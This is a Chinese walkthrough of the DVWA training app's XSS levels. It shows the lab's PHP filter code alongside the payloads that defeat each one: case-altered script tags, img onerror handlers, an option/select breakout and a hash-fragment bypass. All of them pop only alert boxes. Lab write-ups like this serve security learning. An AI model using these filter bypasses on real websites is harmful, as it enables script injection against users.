dvwa xss通关

反射型XSS通关

low难度

选择难度:

直接用下面JS代码尝试:

复制代码
<script>alert(/xss/)</script>

通关成功:

medium难度

直接下面代码尝试后失败

复制代码
<script>alert(/xss/)</script>

发现这段代码直接被输出:

尝试修改<script>标签的字母大小写,做大小写绕过:

复制代码
<scRipt>alert(/xss/)</scRipt>

通关成功:

high难度

查看源码,做代码审计:

复制代码
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

?>

发现源码中用preg_replace函数和正则过滤了任意script字符,并且防大小写,这时候可以用onerror事件,由于引用的链接是错误的,所以onerror事件会返回错误信息alert(/xss/)>,并加载一个错误的图片:

复制代码
<img src = 1 onerror=alert(/xss/)>

通关成功:

存储型XSS通关

low难度

直接用下面代码尝试

复制代码
<script>alert(/xss/)</script>

如图:

通关成功:

medium难度

查看源码,做代码审计:

复制代码
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = str_replace( '<script>', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

trim() 方法用于删除字符串的头尾空白符

strip_tags() 函数剥去字符串中的 HTML 标签

htmlspecialchars()函数将><单引号双引号做HTML实体化

发现

复制代码
$message = trim( $_POST[ 'mtxMessage' ] );

$message = strip_tags( addslashes( $message ) );

$message = htmlspecialchars( $message );

复制代码
$name = trim( $_POST[ 'txtName' ] );

$name = str_replace( '<script>', '', $name );

对message删除空格、剥离HTML标签并把特殊字符实体化(message输入框不能注入),对name删除空格和替换<scrip>为空,但没有过滤大小写,可以在name中做代码的大小写绕过:

复制代码
<scRipt>alert(/xss/)</scRipt>

由于name的字符长度有限制,可以在源码中进行修改:

通关成功:

high难度

查看源码

复制代码
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

发现这一关比上一关多了对name的正则匹配过滤大小写和script任意字符:

复制代码
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

用onerror事件即可:

复制代码
<img src = 1 onerror=alert(/xss/)>

通关成功:

DOM型XSS通关

low难度

打开后发现没有输入框,只有一个选择语言的选项:

打开hackbar,在URL中输入

复制代码
<script>alert(/xss/)</script>

通关成功:

medium难度

查看源代码,做代码审计:

复制代码
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
	$default = $_GET['default'];
	
	# Do not allow script tags
	if (stripos ($default, "<script") !== false) {
		header ("location: ?default=English");
		exit;
	}
}

?>

stripos函数:查找 双引号中的字符在字符串中第一次出现的位置

发现这关对script标签有一个过滤,所以不用script标签

尝试输入

复制代码
<img src = 1 onerror=alert(/xss/)>

并查看页面的前端代码,发现它输出中有一个标签闭合,还有一个</select>标签:

我们需要让<option标签提前闭合,并加一个<select标签才能输出我们需要的代码并出现弹窗:

复制代码
/option><select><img src = 1 onerror=alert(/xss/)>

通过成功:

high难度

查看源代码:

复制代码
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

	# White list the allowable languages
	switch ($_GET['default']) {
		case "French":
		case "English":
		case "German":
		case "Spanish":
			# ok
			break;
		default:
			header ("location: ?default=English");
			exit;
	}
}

?>

array_key_exists:查找键名(数组元素名)是否存在数组中

is_null函数:用于检测变量是否为 NULL

这段代码中的if语句将所有输入的字符全部过滤,这时候只要将语句注释,让后端代码接收即可:

复制代码
#<script>alert(/xss/)</script>

通关成功:

相关推荐
决战软件之巅几秒前
vue调后台接口
前端·javascript·vue.js
A_aspectJ8 分钟前
基于Bootstrap 的网页html css 登录页制作成品
前端·css·bootstrap·html
诸葛亮的芭蕉扇13 分钟前
StreamSaver实现大文件下载解决方案
前端·javascript·vue.js·node.js
重生之后端学习14 分钟前
03-Web后端基础(Maven基础)
java·前端·spring boot·后端·spring·tomcat·maven
gong1917231696726 分钟前
解释一下React事件系统中的事件委托机制
前端·javascript·react.js
张彦峰ZYF1 小时前
一键启动多个 Chrome 实例并自动清理的 Bash 脚本分享!
前端·chrome·bash
浩星2 小时前
vue3+uniapp中使用高德地图实现撒点效果
前端·vue.js·uni-app
JamSlade2 小时前
React 个人笔记 Hooks编程
前端·javascript·笔记·react.js
就叫飞六吧2 小时前
html文件cdn一键下载并替换
前端·python·html
Allen Bright2 小时前
【HTML-3】HTML 中的水平线与换行:基础元素详解
前端·html